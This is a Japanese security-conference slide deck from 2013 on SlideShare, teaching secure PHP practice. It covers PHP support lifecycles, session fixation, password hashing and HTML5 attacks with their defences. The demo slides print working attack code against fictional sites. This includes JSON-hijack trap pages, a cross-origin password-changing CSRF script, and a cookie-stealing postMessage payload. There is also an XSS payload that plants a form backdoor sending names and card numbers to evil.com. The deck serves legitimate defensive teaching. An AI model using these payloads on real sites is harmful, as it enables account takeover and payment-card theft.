SlideShare a Scribd company logo
安全なPHPアプリケーションの作り方2013
2013年9月14日
HASHコンサルティング株式会社
徳丸 浩
• PHPのライフサイクルにどうつきあう?
• セッションフィクセイション結局どうする
• パスワードの守り方
• デモから学ぶ HTML5セキュリティ入門
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
アジェンダ
2
PHPのライフサイクルにどうつき
あう?
3
4
サポートライフサイクルポリシーとは
• サポートライフサイクルポリシーとは、製品サポートに
ついてのサポートポリシーを文書化したもの
• 厳密な契約ではないが、購入者に対する「約束」と考え
られる
• マイクロソフト社の取り組みが有名
– 2002 年 10 月に最初に発表
– 2004 年 6 月に更新
– 詳しくは次のスライドで…
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 5
マイクロソフト社のサポートライフサイクルポリシー
メインストリームサポート 次のうちいずれか長い方
・ 製品発売から5年
・ 後継製品の発売から2年
延長サポート 次のうちいずれか長い方
・ メインストリームサポート終了から5年
・ 2番目の後継製品の発売から2年
•最新の製品を使う限り、7年間のサポートが保証されている(追加費用無し)
メインストリームサポート
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 6
【参考】PHPのサポート状況
1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010
PHP5.x
PHP4.x
PHP3.x
3.5年
•オープンソース・ソフトウェアは通常サポートポリシーが明確でない
•PHPの場合、最悪ケースで、最新版を使っていても3.5年でサポートが終
了になるケースもあった
•アプリケーションのライフサイクルの中で、基盤ソフトのサポート終了を想
定した計画立案が要求される
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 7
Request for Comments: Release Process(PHP)
• Yearly release cycle
– 3 years release life cycle
– 2 years bug fixes only
– 1 year security fixes only
• 下図のように、PHP5.x(2番目の数字)を使い続けるのは、
2~3年が限度
https://wiki.php.net/rfc/releaseprocess より引用Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 8
サポートライフサイクルポリシーまとめ
• ソフトウェア選定時にサポートライフサイクルポリシー
を確認すること
– PHP以外に、フレームワークやDB、ライブラリ等も
• サポート計画を検討する
– PHPをRedHat/CentOSのパッケージで導入すれば10年サポー
トに
– PHPのバージョンアップにとことん付き合うという選択肢
– 途中でバージョンアップする計画を立てておく(予算も)
• 他のソフトウェアのサポートライフサイクルにも注意
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 9
セッションフィクセイション結
局どうする
10
PHP5.5.2でStrict Sessionsがマー
ジされました
11
大垣さん、まことにおめでとう
ございます (_ _)
12
• PHPのセッション管理機構には、未初期化のセッション
IDを受け入れる問題があった (Session Adoption)
• 例えば、PHPSESSID=ABC をCookieにセットしておく
と、そのままセッションIDとして使ってくれる
• セッションフィクセーション攻撃の時に、Session
Adoptionがあると便利!
• セッションフィクセーション対策には、ログイン成功後
に下記を実行すること
– session_regenerate_id(true);
• PHP5.5.2以降では、 php.iniに下記を指定すると、
Session Adoptionが解消される
– session.use_strict_mode = 1
Strict Sessionsとは何か
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 13
Strict Sessionsのデモ
14
• Strict SessionsはPHP5.5のみの対応で、PHP5.3やPHP5.4
では対応していない
– PHP5.4以前は、session_regenerate_id(true); で対応
• PHP5.5.2以降だと、session_regenerate_id()は不要?
– 必要
– 「勝手に作ったセッションIDを受け入れない」だけで、攻撃対
象からセッションIDを入手すれば、セッションフィクセーショ
ン攻撃は依然として可能
• 結局、アプリの書き方は変わらない
– ログイン成功後に session_regenerate_id(true);
Strict Sessionsでアプリの書き方は変わる?
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 15
パスワードの守り方
16
LinkedInからのパスワード漏洩事件
17http://www.itmedia.co.jp/enterprise/articles/1206/07/news017.html より引用
650万件のパスワードハッシュのうち540万件が1週間で解読
http://securitynirvana.blogspot.jp/2012/06/final-word-on-linkedin-leak.html より引用
https://twitter.com/jmgosney/statuses/213212108924522496 より引用
Surviving on little more than furious passion for many sleepless days,
we now have over 90% of the leaked passwords recovered.
18
Saltってなに?
• ソルト(Salt)とは、ハッシュの元データ(パスワード)に追加す
る文字列
• 見かけのパスワードの長さを長くする →レインボーテーブル対策
• ユーザ毎にソルトを変えることで、パスワードが同じでも、異なる
ハッシュ値が得られる
– ソルトがない場合、パスワードの組み合わせ回数分ですむが、ソルト
があると、×ユーザ数 に試行回数が増える
– LinkedInの場合は、試行回数が 650万倍に !
• ソルトの要件
– ある程度の長さを確保すること
– ユーザ毎に異なるものにすること
• ソルトには乱数を用いることが多いが、乱数が必須というわけでは
ない(暗号論的に安全な乱数である必要はもちろんない)
• ソルトは秘密情報ではない。ソルトは、通常ハッシュ値と一緒に保
存する
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 19
Stretchingってなに?
• ストレッチング(Stretching)とは、ハッシュの計算を繰り返すこと
• ハッシュの計算を遅くすることにより、辞書攻撃や総当たり攻撃に対
抗する
• 1万回ストレッチすると、「 GPUモンスターマシンで20分掛かる」
が20万分になる計算
– 20万分 = 139日 …
• 「悪い」パスワードまで救えるわけではない
– 「password」というパスワードをつけていたら、100万回ストレッチし
てもすぐに解読されてしまう
• 十分長いパスワードをつけてもらえば、ストレッチングは必要ない
– 1文字パスワードを長くすることは、約90回のストレッチングに相当する。
パスワードを2文字長くしてもらえば…
– ストレッチングは、「弱いパスワード」の救済の意味がある
• ストレッチングはメリットとデメリットがあるので、導入の有無と回
数をよく検討すること
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
むむ、これだとパスワードの定期的変更か?
20
パスワードをハッシュで保存する場合の課題
• 「パスワードリマインダ」が実装できない
– 「秘密の質問」に答えるとパスワードを教えてくれるアレ
– パスワードリセットで代替
• ハッシュの形式(アルゴリズム、ソルト、ストレッチ回数)の変更
– 生パスワードが分からないのでハッシュの方式変更がバッチ処理では
できない
– ユーザの認証成功の際にはパスワードが分かるので、その際に方式を
変更すると良い
– 緊急を要する場合は、現在パスワードを無効にして、パスワードリセ
ットで
– ハッシュ値あるいは別フィールドに「方式番号」をもっておく
– PHP5.5のpassword_hash関数が便利 (ソルト・ストレッチング内蔵)
$1$d641fdabf96912$4b3c3e95dfab179ebfef220172f58171
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
方式番号 ソルト ハッシュ値
21
password_hash 関数 (PHP5.5から)
http://php.net/manual/ja/function.password-hash.php より引用
<?php echo password_hash('rasmuslerdorf’, PASSWORD_DEFAULT);
【結果】
$2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 22
password_hash関数の代替(PHP5.3.7~PHP5.4)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
function get_salt()
{
$random = file_get_contents('/dev/urandom', false, NULL, 0, 18);
$base64 = base64_encode($random);
return substr(strtr($base64, '+', '.'), 0, 22);
}
function get_hash($password)
{
$salt = get_salt();
return crypt($password, ‘$2y$10$’ . $salt); // $10$ は適宜調整してください
}
function verify_password($password, $hash)
{
$salt = substr($hash, 7, 22);
$new_hash = crypt($password, '$2y$10$' . $salt);
return $hash === $new_hash;
}
23
結局どうすればよいの?
• パスワード認証は、利用者とサイト運営者が責任を分かち合ってい
る
• 利用者に、よいパスワードをつけてもらうのが本筋
• オンライン攻撃に備えて、以下を実施する
– アカウントロックの実装
– SQLインジェクションなどの脆弱性対処
– でれきば…二段階認証、リスクベース認証
– Googleなど認証プロバイダの活用
• オフライン攻撃対策は中々決め手がない
– ソルトなしのハッシュは、レインボーテーブルで元パスワードが簡単
に求められる
– ソルトは必須。できるだけストレッチングもする(password_hash関数
など)
– DBのパスワード欄に余裕を持たせ、方式を改良できるようにしておく
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 24
デモから学ぶ
HTML5セキュリティ入門
25
激安お徳情報(罠サイト)
デモに出てくるWebサイトの説明
アフィリエイトブログ ドメインとるなら
おネーム.com
広告モジュール
広告事業者
adv.com
blog.com oname.com
evil.com
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 26
DOM Based XSS
27
blogの外観
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 28
トラッキング用img要素の生成箇所
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
<iframe src="http://adv.com/ad.html?siteId=50341">
</iframe>
<a href="http://oname.com/"><img src="oname.png"></a>
<div id="img"></div>
<script>
var div = document.getElementById('img');
var img = '<img src="track.php?siteId='
+ qstrs.siteId + '">';
div.innerHTML = img;
// siteId を localStorageに保存
localStorage.siteId = parseInt(qstrs.siteId);
iframeの参照
iframeのソース(主要部)
29
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 30
• 確かにXSSはあるが、ドメイン(オリジンは)
http://adv.com であり、他のドメインには影響はない
はず
• siteIdはlocalStorageに保存しているが、parseIntを通
しているので、汚染されることはない
• そもそもblog.comから呼び出される場合、siteIdは固定
なので、攻撃経路がない
• 見解の正否は後ほど…
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
DOM Based XSSの影響(高橋の見解)
31
JSON Hijack
32
プロフィール画面
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
<script src="jquery-1.10.2.min.js"></script>
<script>
$(function() {
$.ajax({
dataType: 'json',
url: 'getProfile_json.php'
}).done(function(json) {
$('#name').text(json[0].name);
$('#addr').text(json[0].addr);
$('#tel').text(json[0].tel);
$('#mail').text(json[0].mail);
});
});
</script>
プロフィール<br>
氏名:<span id="name"></span><br>
住所:<span id="addr"></span><br>
電話番号:<span id="tel"></span><br>
メールアドレス:<span id="mail"></span><br>
プロフィールの表示(profile.php)
[{"name":"Taro Yamada",
"tel":"03-1111-2222",
"mail":"yamada@example.jp",
"addr":"1-1-1, Mita, Minato-
city, Tokyo"}]
33
• JSONって、JavaScriptだよね
• script要素で読み込めるよね
• クッキーも飛ぶよね
• JSONデータを盗むワナを作れないか?
34
JSON Hijackとは…
これは罠サイト
script要素はクロスドメインで読み込み可能
クッキーもつくよ
<script>
// ここにJSONを読む仕掛けを置く
</script>
<script src="http://oname.com/getProfile_json.php"></script>
JSON Hijackの罠 (setter版; 一般利用者が閲覧)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
<body onload="alert(x)">
罠サイト
<script>
var x = "";
Object.prototype.__defineSetter__("name",
function(v) {
x += 'name = ' + v + "¥n";
});
Object.prototype.__defineSetter__("tel",
function(v) {
x += 'tel = ' + v + "¥n";
});
// …省略
// 以下がJSONデータ
<script src="http://oname.com/getProfile_json.php"></script>
</body>
※ Xperia Arc (Android 2.3.4)にて実行
35
JSON Hijackの罠 (IE向け;一般利用者が参照)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
<script>
window.onerror = function(e) {
if (e.match(/'({"memo".*)'$/)) {
var msg = 'JSONハイジャックに成功:' + RegExp.$1;
} else {
var msg = 'JSONハイジャックに失敗:' + e;
}
var divmemo = document.getElementById('memo');
var text = document.createTextNode(msg);
divmemo.appendChild(text);
}
</script>
これは罠サイトです(IE限定)
<div id="memo"></div>
<script src="http://oname.com/getProfile_json.php" language="vbscript"></
script>
36
• Content-Typeを正しく設定する
header('Content-Type: application/json; charset=UTF-8’);
• X-Content-Type-Options: nosniff を出力する
header('X-Content-Type-Options: nosniff');
• 最新のIEを用いる(CVE-2013-1297対策ずみのもの)
– JSON Hijackができることはブラウザのバグ
• X-Requested-Withヘッダのチェック
– ヘッダ X-Requested-With: XMLHttpRequest があること
– jQueryやprototype.jsでは自動的に付与される
– script要素で読む場合は、ヘッダは操作できない
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
JSON Hijackの対策
37
JSONによるXSS
38
ドメイン名検索機能(JSON)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
{"status":"ok","key":"tokumaru","results":["tokumaru.us","
tokumaru.ru"]}
http://oname.com/searchdomain_json.php?dname=tokumaru
{"status":"fail","key":"<img src=# onlerror=alert(1)>","re
sults":[]}
http://oname.com/searchdomain_json.php?dname=<img%20src%3D%23%20
onlerror%3Dalert(1)>
ブラウザにJSON(application/json)と認
識されれば問題ないが、
HTML(text/html)と認識されるとXSSに
39
XSS実行例
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 40
• Content-Typeを正しく出力(これでIE以外OK)
header('Content-Type: application/json; charset=UTF-8');
• X-Content-Type-Options: nosniff ヘッダを出力
header('X-Content-Type-Options: nosniff');
// これで IE8 以降は OK
• リクエスト時にX-Request-Withを付与して、サーバー
側で確認する
– jQuery等では自動的付与。すべてのブラウザで有効な対策
• < や > もUnicodeエスケープする
json_encode($row, JSON_HEX_TAG | JSON_HEX_APOS |
JSON_HEX_QUOT | JSON_HEX_AMP);
JSONによるXSSの対策
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 41
XHR L2によるCSRF
42
• 高橋君の見解
– FormのPOST送信ではJSON形式は送信できない
– XMLHttpRequestではクロスドメイン通信はできない
– ∴ どちらで攻撃されても大丈夫
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
CSRF脆弱なサンプル
session_start();
// ログイン確認
if (isset($_SESSION['id'])) {
$id = $_SESSION['id'];
$stream = file_get_contents(‘php://input’); // リクエスト・ボディ
$json = json_decode($stream, TRUE);
if (isset($json['pwd']) && $json['pwd'] !== '') {
// パスワードがJSONとして渡ってきている場合にパスワード変更
$pwd = $json['pwd'];
// パスワード変更処理(ログにパスワードを吐くのは禁止だが、以下はデモのため)
error_log(“Password is changed. id: ${id} password: ${pwd}”);
// 以下はエラー処理
パスワード変更処理のソース(PHP; 主要部)
43
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
攻撃スクリプト
var requester = new XMLHttpRequest();
requester.open('POST', 'http://oname.com/chgpwd_json.php', true);
// 以下がないとGoogle Chromeでプレフライト(OPTIONS)が送信されるので攻撃失敗する
requester.setRequestHeader("Content-type", "text/plain");
// 以下でリクエストにクッキーを付与する
requester.withCredentials = true;
// レスポンスは受け取れないので、コールバック関数はセットしていない
requester.send('{"pwd":"123456"}');
攻撃スクリプト(JavaScript; 主要部)
Password is changed. id: yamada password: 123456
実行結果:サーバーログ
44
• XHR Level2対応のブラウザ(IE以外)の場合、クロスド
メイン(クロスオリジン)にホストにリクエスト自体は
無条件に可能
– サーバー側でAccess-Control-Allow-Originヘッダを送信しない
と、レスポンスを受け取れないが、CSRF攻撃ではレスポンスは
元々必要ない
• setRequestHeaderを用いる場合は、プレフライトに対
応する必要がある
• このため、攻撃の場合Content-Typeヘッダを指定でき
ない(text/plainは例外らしい)
– サーバー側でContent-Typeをチェックすると少し安全に
• 根本的には、通常通りトークンによる対策を推奨
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
解説
45
PostMessageに注意
46
広告モジュールからpostMessageでsiteIdを受け取る
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
window.addEventListener("message", function(event) {
var siteId = event.data;
var form = document.getElementById('form');
var input =
'<input type="hidden" name="siteId" value="' + siteId + '">';
form.innerHTML += input;
} , false);
購入画面にてsiteIdを埋め込み(purchase.php)
parent.postMessage(
localStorage.siteId, '*');
広告モジュールからsiteIdを送信(affiliate.html)
ドメインとるならおネーム.com
広告モジュール
oname.com
postMessage
47
adv.com
• siteIdの埋め込み箇所(下記)には潜在的なXSSがある
var input = '<input type="hidden" name="siteId" value="' + siteId + '">';
form.innerHTML += input;
• しかし、siteIdをlocalStorageに保存する際にparseIntで
フィルタリングしているため、攻撃文字列を埋め込まれる
心配はない
この箇所のDOM Based XSSに関する高橋の考察
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 48
罠サイトからpostMessaeが可能
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
win = window.open(
'http://oname.com/purchase.php?domain=tokumaru.us', "x");
setTimeout(function () {
win.postMessage('"><img width=1 height=1 src=/ onerror="alert(d
ocument.cookie)">', '*');
}, 2000);
罠画面から購入画面を開き、Cookieを窃取
ドメイン取るならおネーム.com
広告モジュール
oname.com
postMessage
激安マル秘情報
evil.com
postMessage
window.open
①
②
③
49
postMessage経由のXSS攻撃
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 50
• 送信側: データを渡してもよいオリジンを指定する
win.postMessage(message, ’http://oname.com’)
• 受信側: データを受け取ってもよいオリジンを確認する
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
postMessageを扱う場合の注意
window.addEventListener("message", function(event) {
if (event.origin !== "http://adv.com") {
alert('不正なpostMessage');
return;
}
var siteId = event.data;
var form = document.getElementById('form');
var input =
'<input type="hidden" name="siteId" value="' + siteId + '">';
form.innerHTML += input;
} , false);
購入画面にてsiteIdを埋め込み(purchase.php)
51
これまでのおさらい
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 52
• 広告表示モジュールにXSS
– http://adv.comオリジンにのみ影響とのことで受容した
• 広告モジュールから販売サイトへのpostMessage
– http://adv.comオリジンからのみ受け取るように制限した
• 販売サイトのDOM Based XSS
– 広告モジュール(adv.com)にて、siteIdを整数値に制限している
ので、実害はないと判断、受容した
これまでのおさらい(高橋の見解)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 53
この対策で大丈夫か?
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 54
まぜるな危険 !
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 55
• 広告表示モジュールにXSS
– http://adv.comオリジンにのみ影響とのことで受容した
– XSSでローカルストレージに攻撃文字列を書き込める
• 広告モジュールから販売サイトへのpostMessage
– http://adv.comオリジンからのみ受け取るように制限した
– 上記によりhttp://adv.comオリジンから攻撃を受ける可能性
• 販売サイトのDOM Based XSS
– 広告モジュール(adv.com)にて、siteIdを整数値に制限している
ので、実害はないと判断、受容した
– 上記により、攻撃を受ける可能性
合わせ技で「大変なこと」に!
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 56
罠サイトからpostMessaeが可能
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
localStorage
adv.com
XSSを利用して
攻撃コードをセット
激安お徳情報
evil.com
遷移 ① ②
ドメインとるならおネーム.com
広告モジュール
oname.com
postMessage③
攻撃コード
攻撃
57
攻撃コードの例
58Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
http://adv.com/ad.html?siteId=%22%20onload%3d%22localStorage.siteId%3d%26quot;
50341¥%26quot;%3E%3Cimg%20width%3d1%20height%3d1%20src%3d/%20onerror%3
d¥%26quot;document.forms[0].onsubmit%3dfunction(){f%3ddocument.forms[0];r%3dn
ew%20XMLHttpRequest();r.open('GET','http://evil.com/r.php?'%2bf.name.value%2b':'%
2bf.cardnum.value%2b':'%2bf.expire.value,false);r.send();return%20true;}%26quot;;
50341"><img width=1 height=1 src=/ onerror="document.forms[0].onsubmit=function()
{f=document.forms[0];r=new XMLHttpRequest();r.open('GET','http://evil.com/r.php?'+f.
name.value+':'+f.cardnum.value+':'+f.expire.value,false);r.send();return true;}
document.forms[0].onsubmit=function(){
f = document.forms[0];
r = new XMLHttpRequest();
r.open(('GET', 'http://evil.com/r.php?'+f.name.value+':'+f.cardnum.value+':'+
f.expire.value, false);
r.send();
return true;
}
adv.comへの攻撃例
攻撃後のローカルストレージsiteId
oname.comで実行されるコード(読みやすく整形)
サブミットすると、フォームの値を
外部に漏えいさせるバックドア
バックドアによる情報漏えい
59Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
ドメイン取るならおネーム.com
evil.com
oname.com
XSSでセットさ
れたバックドア
購入
氏名
カード番号
有効日付
• HTML組み立てを以下のいずれかの方法で行う
– DOM操作用のメソッドやプロパティを用いる
• 文脈に応じたエスケープ処理を施す
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
対策
var div = document.getElementById('img');
var img = document.createElement('img');
img.setAttribute('src', 'track.php?siteId='
+ encodeURIComponent(qstrs.siteId));
div.appendChild(img);
var div = document.getElementById('img');
var img = '<img src="track.php?siteId='
+ encodeURIComponent(qstrs.siteId) + '">';
div.innerHTML = img;
60
対策(続き)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
window.addEventListener("message", function(event) {
var siteId = event.data;
var form = document.getElementById('form');
var input = document.createElement('input');
input.setAttribute('name', 'siteId');
input.setAttribute('value', siteId);
// setAttributeを使えば、HTMLエスケープの必要はない
form.appendChild(input);
} , false);
61
• HTML5になり攻撃のバリエーションは増加しているが、
基本は変わらない
– XSS: 文脈に応じたエスケープ または DOM操作用メソッド・プ
ロパティ
– CSRF: トークンにより対策
• “手抜きをしない”
– 手抜きの例 : XHRではクロスドメイン通信ができないと思い
CSRF対策を怠る
• 対策はできるだけ局所的に完結する
• JSONのXSSに注意
• postMessageによる情報漏えいやデータ汚染に注意
• 最新のjQueryその他のライブラリを用いる
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
まとめ
62
参考文献(1)
Copyright © 2013 HASH Consulting Corp.
XSSの基礎を説明してい
ますが、DOM base XSS
やAjaxに関する説明は
あまりありません
63
参考文献(2)
http://www.ipa.go.jp/about/technicalwatch/20130129.html
DOM base XSSに関する
体系的な説明として貴
重な参考資料です
64
参考文献(3)
ブラウザセキュリティの
「面倒くささ」について、逃
げずに丹念に説明してい
ます。上級者および上級
者を目指す方向け
65
• HTML5 and Security Part 1 : Basics and XSS [PPT]
– http://utf-8.jp/public/20130613/owasp.pptx
• HTML5時代のWebセキュリティ[PPT]
– http://utf-8.jp/public/20120915/20120915-html5.pptx
• XMLHttpRequestを使ったCSRF対策
– http://d.hatena.ne.jp/hasegawayosuke/20130302/p1
• 機密情報を含むJSONには X-Content-Type-Options: nosniff をつ
けるべき
– http://d.hatena.ne.jp/hasegawayosuke/20130517/p1
• JSONをvbscriptとして読み込ませるJSONハイジャック(CVE-2013-
1297)に注意
– http://blog.tokumaru.org/2013/05/JSON-information-disclosure-
vulnerability-CVE-2013-1297.html
• PHPのイタい入門書を読んでAjaxのXSSについて検討した(1)~(3)
– http://d.hatena.ne.jp/ockeghem/20110905/p1
66
参考文献(4)
• セッションアダプションに対する私の見解
– http://tumblr.tokumaru.org/post/37870453034/about-session-
adoption
• 本当は怖いパスワードの話
– http://www.atmarkit.co.jp/fsecurity/special/165pswd/01.html
• Webアプリでパスワード保護はどこまでやればいいか
– http://www.slideshare.net/ockeghem/how-to-guard-your-
password
• いまさら聞けないパスワードの取り扱い方
– http://www.slideshare.net/ockeghem/ss-25447896
67
参考文献(5)
Thank you
68

More Related Content

PDF
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
PDF
徳丸本ができるまで
PDF
Webアプリでパスワード保護はどこまでやればいいか
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
PPTX
XXE、SSRF、安全でないデシリアライゼーション入門
PPTX
安全なPHPアプリケーションの作り方2014
PDF
文字コードに起因する脆弱性とその対策(増補版)
PDF
いまさら聞けないパスワードの取り扱い方
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
徳丸本ができるまで
Webアプリでパスワード保護はどこまでやればいいか
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
XXE、SSRF、安全でないデシリアライゼーション入門
安全なPHPアプリケーションの作り方2014
文字コードに起因する脆弱性とその対策(増補版)
いまさら聞けないパスワードの取り扱い方

What's hot (20)

PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
PPTX
Railsエンジニアのためのウェブセキュリティ入門
PPTX
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
PDF
今日こそわかる、安全なWebアプリの作り方2010
PDF
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
PPTX
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
PPTX
文字コードの脆弱性はこの3年間でどの程度対策されたか?
PPTX
Phpcon2015
PDF
HTML5のセキュリティ もうちょい詳しく- HTML5セキュリティその3 : JavaScript API
PPTX
他人事ではないWebセキュリティ
PPTX
安全なWebアプリケーションの作り方2018
PPTX
安全なPHPアプリケーションの作り方2016
PPTX
徳丸本に載っていないWebアプリケーションセキュリティ
PDF
とある診断員とSQLインジェクション
PDF
PHPカンファレンス2014セキュリティ対談資料
PPTX
セキュアコーディング方法論再構築の試み
PDF
とある診断員と色々厄介な脆弱性達
PDF
Rails SQL Injection Examplesの紹介
PDF
Webアプリ開発者のためのHTML5セキュリティ入門
PPTX
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Railsエンジニアのためのウェブセキュリティ入門
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
今日こそわかる、安全なWebアプリの作り方2010
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
文字コードの脆弱性はこの3年間でどの程度対策されたか?
Phpcon2015
HTML5のセキュリティ もうちょい詳しく- HTML5セキュリティその3 : JavaScript API
他人事ではないWebセキュリティ
安全なWebアプリケーションの作り方2018
安全なPHPアプリケーションの作り方2016
徳丸本に載っていないWebアプリケーションセキュリティ
とある診断員とSQLインジェクション
PHPカンファレンス2014セキュリティ対談資料
セキュアコーディング方法論再構築の試み
とある診断員と色々厄介な脆弱性達
Rails SQL Injection Examplesの紹介
Webアプリ開発者のためのHTML5セキュリティ入門
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
Ad

Viewers also liked (19)

PPTX
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
PDF
HTML5 Experts.jp パフォーマンス・チューニング
PDF
HHVM on CentOS6 本番運用のうまみとつらみ
PPTX
PHP7がリリースされたいま、 改めてHackについて考える。
ODP
フレームワーク
PPT
オープンソースカンファレンス2009Nagoya
PDF
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
PDF
ガラケーで楽しむオレJSの勧め
PPT
UnicodeによるXSSと SQLインジェクションの可能性
PDF
文字コードに起因する脆弱性とその対策
PDF
DNSのRFCの歩き方
PDF
PHPカンファレンス2016 初心者セッション
PPT
Cake Php開発事例
PDF
Laungage Update PHP編
PPT
CakePHP PHP Framework
PDF
はじめてのUser-Agent文字列
PPTX
Phpフレームワーク 「laravel」でブログを作ろう
PDF
PHPによるユニットテスト入門
PPTX
CakePHP を使ってよかったこと
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
HTML5 Experts.jp パフォーマンス・チューニング
HHVM on CentOS6 本番運用のうまみとつらみ
PHP7がリリースされたいま、 改めてHackについて考える。
フレームワーク
オープンソースカンファレンス2009Nagoya
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
ガラケーで楽しむオレJSの勧め
UnicodeによるXSSと SQLインジェクションの可能性
文字コードに起因する脆弱性とその対策
DNSのRFCの歩き方
PHPカンファレンス2016 初心者セッション
Cake Php開発事例
Laungage Update PHP編
CakePHP PHP Framework
はじめてのUser-Agent文字列
Phpフレームワーク 「laravel」でブログを作ろう
PHPによるユニットテスト入門
CakePHP を使ってよかったこと
Ad

Similar to 安全なPHPアプリケーションの作り方2013 (20)

PPTX
Webシステム脆弱性LT資料
PDF
OAuth Security Workshop 2017 #osw17
PDF
JISAAwards2013講演会資料(hifive)
PDF
初めてのWebプログラミング講座
PDF
ElasticSearch勉強会 第6回
PDF
Midworks
PDF
[db analytics showcase Sapporo 2017] B27:世界最速のAnalytic DBはHadoopの夢を見るか by 株式会...
PDF
Automation with SoftLayer and Zabbix
PDF
スクレイピングその後
PDF
Let's encryptについて kixs
PDF
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
PPTX
さぁ、はじめよう!安全・簡単、仮想/クラウドマシンの暗号化&鍵管理
PDF
「コンテキストの理解による技法、事例の分析」森崎 修司
PDF
DDoS-taisaku-etc
PDF
意図を表現するプログラミング
PPTX
空気を読む家のキッチン(3-3)
PDF
Data analysis platform ver1.1
PDF
セキュリティの基本とWordPress
PDF
第3回企業Webシステム開発セミナー「業務システムにHTML5を上手に取り入れるためには?」
PDF
AWSでの金融系システム構築・運用勘所
Webシステム脆弱性LT資料
OAuth Security Workshop 2017 #osw17
JISAAwards2013講演会資料(hifive)
初めてのWebプログラミング講座
ElasticSearch勉強会 第6回
Midworks
[db analytics showcase Sapporo 2017] B27:世界最速のAnalytic DBはHadoopの夢を見るか by 株式会...
Automation with SoftLayer and Zabbix
スクレイピングその後
Let's encryptについて kixs
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
さぁ、はじめよう!安全・簡単、仮想/クラウドマシンの暗号化&鍵管理
「コンテキストの理解による技法、事例の分析」森崎 修司
DDoS-taisaku-etc
意図を表現するプログラミング
空気を読む家のキッチン(3-3)
Data analysis platform ver1.1
セキュリティの基本とWordPress
第3回企業Webシステム開発セミナー「業務システムにHTML5を上手に取り入れるためには?」
AWSでの金融系システム構築・運用勘所

More from Hiroshi Tokumaru (18)

PPTX
